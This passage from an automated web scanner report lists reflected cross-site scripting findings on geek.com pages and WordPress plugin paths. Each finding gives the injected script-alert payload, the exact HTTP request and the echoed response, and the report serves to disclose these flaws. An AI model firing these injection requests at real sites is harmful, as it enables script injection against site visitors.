<input type="hidden" name="beamBack" value="/viewTag.actionc1f5f"><x style=x:expression(alert(1))>253372fae3f">
...[SNIP]...

4.293. http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/ [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.geek.com
Path:	/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/

Issue detail

The value of REST URL parameter 3 is copied into an HTML comment. The payload 63398--><script>alert(1)</script>7861d958a55 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /articles/geek-pick/63398--><script>alert(1)</script>7861d958a55/ HTTP/1.1
Host: www.geek.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: nginx/0.8.53
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.2.17
X-Pingback: http://www.geek.com/xmlrpc.php
Last-Modified: Tue, 10 May 2011 13:27:41 GMT
Content-Length: 44872
X-Varnish: 1842939106
Expires: Tue, 10 May 2011 13:27:20 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 10 May 2011 13:27:20 GMT
Connection: close
Vary: Accept-Encoding
Set-Cookie: PHPSESSID=2bd2ee574cabb2e69c83c736e9b8d198; path=/

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascri
...[SNIP]...
<script>alert(1)</script>7861d958a55/ -->
...[SNIP]...

4.294. http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.geek.com
Path:	/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a2eb0"><script>alert(1)</script>4d5bce2f7da was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as a2eb0\"><script>alert(1)</script>4d5bce2f7da in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/?a2eb0"><script>alert(1)</script>4d5bce2f7da=1 HTTP/1.1
Host: www.geek.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.2.17
Last-Modified: Tue, 10 May 2011 13:23:16 GMT
Vary: Cookie
X-Pingback: http://www.geek.com/xmlrpc.php
X-Varnish: 1842937683
Vary: Accept-Encoding
Expires: Tue, 10 May 2011 13:22:55 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 10 May 2011 13:22:55 GMT
Connection: close
Set-Cookie: PHPSESSID=5922edfd9d04bc3b289562d916f1f152; path=/
Set-Cookie: THECODE=p13t1
Content-Length: 56847

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascri
...[SNIP]...
<a href="http://del.icio.us/post?url=http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/?a2eb0\"><script>alert(1)</script>4d5bce2f7da=1&title=Google+Music+to+launch+in+beta+at+I%2FO+2011" id="akst_delicious" rel="nofollow" target="new">
...[SNIP]...

4.295. http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.geek.com
Path:	/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/

Issue detail

The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload a234e--><script>alert(1)</script>903572a83f7 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/?a234e--><script>alert(1)</script>903572a83f7=1 HTTP/1.1
Host: www.geek.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.2.17
Last-Modified: Tue, 10 May 2011 13:23:23 GMT
Vary: Cookie
X-Pingback: http://www.geek.com/xmlrpc.php
X-Varnish: 1842937702
Vary: Accept-Encoding
Expires: Tue, 10 May 2011 13:23:02 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 10 May 2011 13:23:02 GMT
Connection: close
Set-Cookie: PHPSESSID=9e7f6e9c93664bc87f12aa296ace5917; path=/
Set-Cookie: THECODE=p13t1
Content-Length: 56842

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascri
...[SNIP]...
<script>alert(1)</script>903572a83f7%3D1 -->
...[SNIP]...

4.296. http://www.geek.com/images/phpThumb.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.geek.com
Path:	/images/phpThumb.php

Issue detail

The value of REST URL parameter 2 is copied into an HTML comment. The payload 565bf--><script>alert(1)</script>38d07e77bf3 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /images/phpThumb.php565bf--><script>alert(1)</script>38d07e77bf3?src=/var/local/geekcom/www/wp-content/uploads/2011/05/MS_Skype1.jpg&w=320&h=220&zc=C HTTP/1.1
Host: www.geek.com
Proxy-Connection: keep-alive
Referer: http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: nginx/0.8.53
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.2.17
Pragma: no-cache
Last-Modified: Tue, 10 May 2011 13:46:10 GMT
Vary: Cookie
X-Pingback: http://www.geek.com/xmlrpc.php
Content-Length: 44537
X-Varnish: 1842943456
Vary: Accept-Encoding
Cache-Control: no-cache, must-revalidate
Expires: Tue, 10 May 2011 13:45:48 GMT
Date: Tue, 10 May 2011 13:45:48 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascri
...[SNIP]...
<script>alert(1)</script>38d07e77bf3%3Fsrc%3D/var/local/geekcom/www/wp-content/uploads/2011/05/MS_Skype1.jpg%26w%3D320%26h%3D220%26zc%3DC -->
...[SNIP]...

4.297. http://www.geek.com/images/phpThumb.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.geek.com
Path:	/images/phpThumb.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload c5dab<script>alert(1)</script>9f784ae36ce was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /images/phpThumb.php?src=/var/local/geekcom/www/wp-content/uploads/2011/05/MS_Skype1.jpg&w=320&h=220&zc=C&c5dab<script>alert(1)</script>9f784ae36ce=1 HTTP/1.1
Host: www.geek.com
Proxy-Connection: keep-alive
Referer: http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Content-Type: image/png
X-Powered-By: PHP/5.2.17
Content-Length: 655
X-Varnish: 1842943267
Date: Tue, 10 May 2011 13:45:12 GMT
Connection: close

.PNG
.
...IHDR.......d........4....PLTE.......5P.....IDATX.c` .02.1.p404|.`....q...a-B.,....*..N!3....i.<'<....F.....Kh..p.!-..BAk&...>.t .\$.E..=..5..=.*,....JJ..(j.y.30..q....P.9..BH...!..`.....
...[SNIP]...
<br>

phpThumb() v1.7.8-200709161750

Forbidden parameter: c5dab<script>alert(1)</script>9f784ae36ce

4.298. http://www.geek.com/images/phpThumb.php [src parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.geek.com
Path:	/images/phpThumb.php

Issue detail

The value of the src request parameter is copied into the HTML document as plain text between tags. The payload 261d9<script>alert(1)</script>2aeead6487d was submitted in the src parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /images/phpThumb.php?src=/var/local/geekcom/www/wp-content/uploads/2011/05/MS_Skype1.jpg261d9<script>alert(1)</script>2aeead6487d&w=320&h=220&zc=C HTTP/1.1
Host: www.geek.com
Proxy-Connection: keep-alive
Referer: http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Content-Type: image/png
X-Powered-By: PHP/5.2.17
Content-Length: 936
X-Varnish: 924438743
Date: Tue, 10 May 2011 13:44:56 GMT
Connection: close

.PNG
.
...IHDR.......d........4....PLTE.......5P....uIDATX...Mh.A...].4 E'?B..w...MD#T09..F.#E.%...P.U.P.dY7......B*Ml..x.,z...`*.....6
...'7V.),z.d.Xf........?..k@.%...t..S....V.@!...k..g...F-....
...[SNIP]...
<br>

phpThumb() v1.7.8-200709161750

"/var/local/geekcom/www/wp-content/uploads/2011/05/MS_Skype1.jpg261d9<script>alert(1)</script>2aeead6487d" does not exist

4.299. http://www.geek.com/wp-content/plugins/digg-digg/css/diggdigg-style.css [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.geek.com
Path:	/wp-content/plugins/digg-digg/css/diggdigg-style.css

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload 77fa0--><script>alert(1)</script>7ebde50ca6e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /wp-content77fa0--><script>alert(1)</script>7ebde50ca6e/plugins/digg-digg/css/diggdigg-style.css?ver=4.5.1.1 HTTP/1.1
Host: www.geek.com
Proxy-Connection: keep-alive
Referer: http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: nginx/0.8.53
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.2.17
Pragma: no-cache
Last-Modified: Tue, 10 May 2011 13:27:26 GMT
Vary: Cookie
X-Pingback: http://www.geek.com/xmlrpc.php
Content-Length: 44402
X-Varnish: 1154909849
Vary: Accept-Encoding
Cache-Control: no-cache, must-revalidate
Expires: Tue, 10 May 2011 13:27:35 GMT
Date: Tue, 10 May 2011 13:27:35 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascri
...[SNIP]...
<script>alert(1)</script>7ebde50ca6e/plugins/digg-digg/css/diggdigg-style.css%3Fver%3D4.5.1.1 -->
...[SNIP]...

4.300. http://www.geek.com/wp-content/plugins/digg-digg/css/diggdigg-style.css [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.geek.com
Path:	/wp-content/plugins/digg-digg/css/diggdigg-style.css

Issue detail

The value of REST URL parameter 2 is copied into an HTML comment. The payload f1301--><script>alert(1)</script>ae164d3cd87 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /wp-content/pluginsf1301--><script>alert(1)</script>ae164d3cd87/digg-digg/css/diggdigg-style.css?ver=4.5.1.1 HTTP/1.1
Host: www.geek.com
Proxy-Connection: keep-alive
Referer: http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: nginx/0.8.53
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.2.17
Pragma: no-cache
Last-Modified: Tue, 10 May 2011 13:29:42 GMT
Vary: Cookie
X-Pingback: http://www.geek.com/xmlrpc.php
Content-Length: 44402
X-Varnish: 1842939755
Vary: Accept-Encoding
Cache-Control: no-cache, must-revalidate
Expires: Tue, 10 May 2011 13:29:20 GMT
Date: Tue, 10 May 2011 13:29:20 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascri
...[SNIP]...
<script>alert(1)</script>ae164d3cd87/digg-digg/css/diggdigg-style.css%3Fver%3D4.5.1.1 -->
...[SNIP]...

4.301. http://www.geek.com/wp-content/plugins/digg-digg/css/diggdigg-style.css [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.geek.com
Path:	/wp-content/plugins/digg-digg/css/diggdigg-style.css

Issue detail

The value of REST URL parameter 3 is copied into an HTML comment. The payload 7345e--><script>alert(1)</script>3ab5e597198 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /wp-content/plugins/digg-digg7345e--><script>alert(1)</script>3ab5e597198/css/diggdigg-style.css?ver=4.5.1.1 HTTP/1.1
Host: www.geek.com
Proxy-Connection: keep-alive
Referer: http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: nginx/0.8.53
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.2.17
Pragma: no-cache
Last-Modified: Tue, 10 May 2011 13:31:49 GMT
Vary: Cookie
X-Pingback: http://www.geek.com/xmlrpc.php
Content-Length: 44402
X-Varnish: 1842940375
Vary: Accept-Encoding
Cache-Control: no-cache, must-revalidate
Expires: Tue, 10 May 2011 13:31:29 GMT
Date: Tue, 10 May 2011 13:31:29 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascri
...[SNIP]...
<script>alert(1)</script>3ab5e597198/css/diggdigg-style.css%3Fver%3D4.5.1.1 -->
...[SNIP]...

4.302. http://www.geek.com/wp-content/plugins/digg-digg/css/diggdigg-style.css [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.geek.com
Path:	/wp-content/plugins/digg-digg/css/diggdigg-style.css

Issue detail

The value of REST URL parameter 4 is copied into an HTML comment. The payload 5bc20--><script>alert(1)</script>c3b72a04098 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /wp-content/plugins/digg-digg/css5bc20--><script>alert(1)</script>c3b72a04098/diggdigg-style.css?ver=4.5.1.1 HTTP/1.1
Host: www.geek.com
Proxy-Connection: keep-alive
Referer: http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: nginx/0.8.53
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.2.17
Pragma: no-cache
Last-Modified: Tue, 10 May 2011 13:33:17 GMT
Vary: Cookie
X-Pingback: http://www.geek.com/xmlrpc.php
Content-Length: 44402
X-Varnish: 1154911444
Vary: Accept-Encoding
Cache-Control: no-cache, must-revalidate
Expires: Tue, 10 May 2011 13:33:26 GMT
Date: Tue, 10 May 2011 13:33:26 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascri
...[SNIP]...
<script>alert(1)</script>c3b72a04098/diggdigg-style.css%3Fver%3D4.5.1.1 -->
...[SNIP]...

4.303. http://www.geek.com/wp-content/plugins/digg-digg/css/diggdigg-style.css [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.geek.com
Path:	/wp-content/plugins/digg-digg/css/diggdigg-style.css

Issue detail

The value of REST URL parameter 5 is copied into an HTML comment. The payload a30a3--><script>alert(1)</script>ddeec1d1370 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /wp-content/plugins/digg-digg/css/diggdigg-style.cssa30a3--><script>alert(1)</script>ddeec1d1370?ver=4.5.1.1 HTTP/1.1
Host: www.geek.com
Proxy-Connection: keep-alive
Referer: http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: nginx/0.8.53
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.2.17
Last-Modified: Tue, 10 May 2011 13:35:43 GMT
Vary: Cookie
X-Pingback: http://www.geek.com/xmlrpc.php
Content-Length: 44474
X-Varnish: 924436911
Expires: Tue, 10 May 2011 13:35:27 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 10 May 2011 13:35:27 GMT
Connection: close
Vary: Accept-Encoding
Set-Cookie: PHPSESSID=b80c7c1a5093646d6d6c77e17364fa9a; path=/

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascri
...[SNIP]...
<script>alert(1)</script>ddeec1d1370%3Fver%3D4.5.1.1 -->
...[SNIP]...

4.304. http://www.geek.com/wp-content/plugins/wp-polls/polls-css.css [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.geek.com
Path:	/wp-content/plugins/wp-polls/polls-css.css

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload dbb7a--><script>alert(1)</script>9b3738cbabe was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /wp-contentdbb7a--><script>alert(1)</script>9b3738cbabe/plugins/wp-polls/polls-css.css?ver=2.50 HTTP/1.1
Host: www.geek.com
Proxy-Connection: keep-alive
Referer: http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: nginx/0.8.53
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.2.17
Pragma: no-cache
Last-Modified: Tue, 10 May 2011 13:26:43 GMT
Vary: Cookie
X-Pingback: http://www.geek.com/xmlrpc.php
Content-Length: 44363
X-Varnish: 1154909542
Vary: Accept-Encoding
Cache-Control: no-cache, must-revalidate
Expires: Tue, 10 May 2011 13:26:51 GMT
Date: Tue, 10 May 2011 13:26:51 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascri
...[SNIP]...
<script>alert(1)</script>9b3738cbabe/plugins/wp-polls/polls-css.css%3Fver%3D2.50 -->
...[SNIP]...

4.305. http://www.geek.com/wp-content/plugins/wp-polls/polls-css.css [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.geek.com
Path:	/wp-content/plugins/wp-polls/polls-css.css

Issue detail

The value of REST URL parameter 2 is copied into an HTML comment. The payload 9de82--><script>alert(1)</script>a496ac86b3e was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /wp-content/plugins9de82--><script>alert(1)</script>a496ac86b3e/wp-polls/polls-css.css?ver=2.50 HTTP/1.1
Host: www.geek.com
Proxy-Connection: keep-alive
Referer: http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: nginx/0.8.53
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.2.17
Pragma: no-cache
Last-Modified: Tue, 10 May 2011 13:29:05 GMT
Vary: Cookie
X-Pingback: http://www.geek.com/xmlrpc.php
Content-Length: 44435
X-Varnish: 924434973
Vary: Accept-Encoding
Cache-Control: no-cache, must-revalidate
Expires: Tue, 10 May 2011 13:28:49 GMT
Date: Tue, 10 May 2011 13:28:49 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascri
...[SNIP]...
<script>alert(1)</script>a496ac86b3e/wp-polls/polls-css.css%3Fver%3D2.50 -->
...[SNIP]...

4.306. http://www.geek.com/wp-content/plugins/wp-polls/polls-css.css [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.geek.com
Path:	/wp-content/plugins/wp-polls/polls-css.css

Issue detail

The value of REST URL parameter 3 is copied into an HTML comment. The payload d0579--><script>alert(1)</script>049af3a6c5 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /wp-content/plugins/wp-pollsd0579--><script>alert(1)</script>049af3a6c5/polls-css.css?ver=2.50 HTTP/1.1
Host: www.geek.com
Proxy-Connection: keep-alive
Referer: http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: nginx/0.8.53
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.2.17
Pragma: no-cache
Last-Modified: Tue, 10 May 2011 13:31:02 GMT
Vary: Cookie
X-Pingback: http://www.geek.com/xmlrpc.php
Content-Length: 44360
X-Varnish: 1842940161
Vary: Accept-Encoding
Cache-Control: no-cache, must-revalidate
Expires: Tue, 10 May 2011 13:30:41 GMT
Date: Tue, 10 May 2011 13:30:41 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascri
...[SNIP]...
<script>alert(1)</script>049af3a6c5/polls-css.css%3Fver%3D2.50 -->
...[SNIP]...

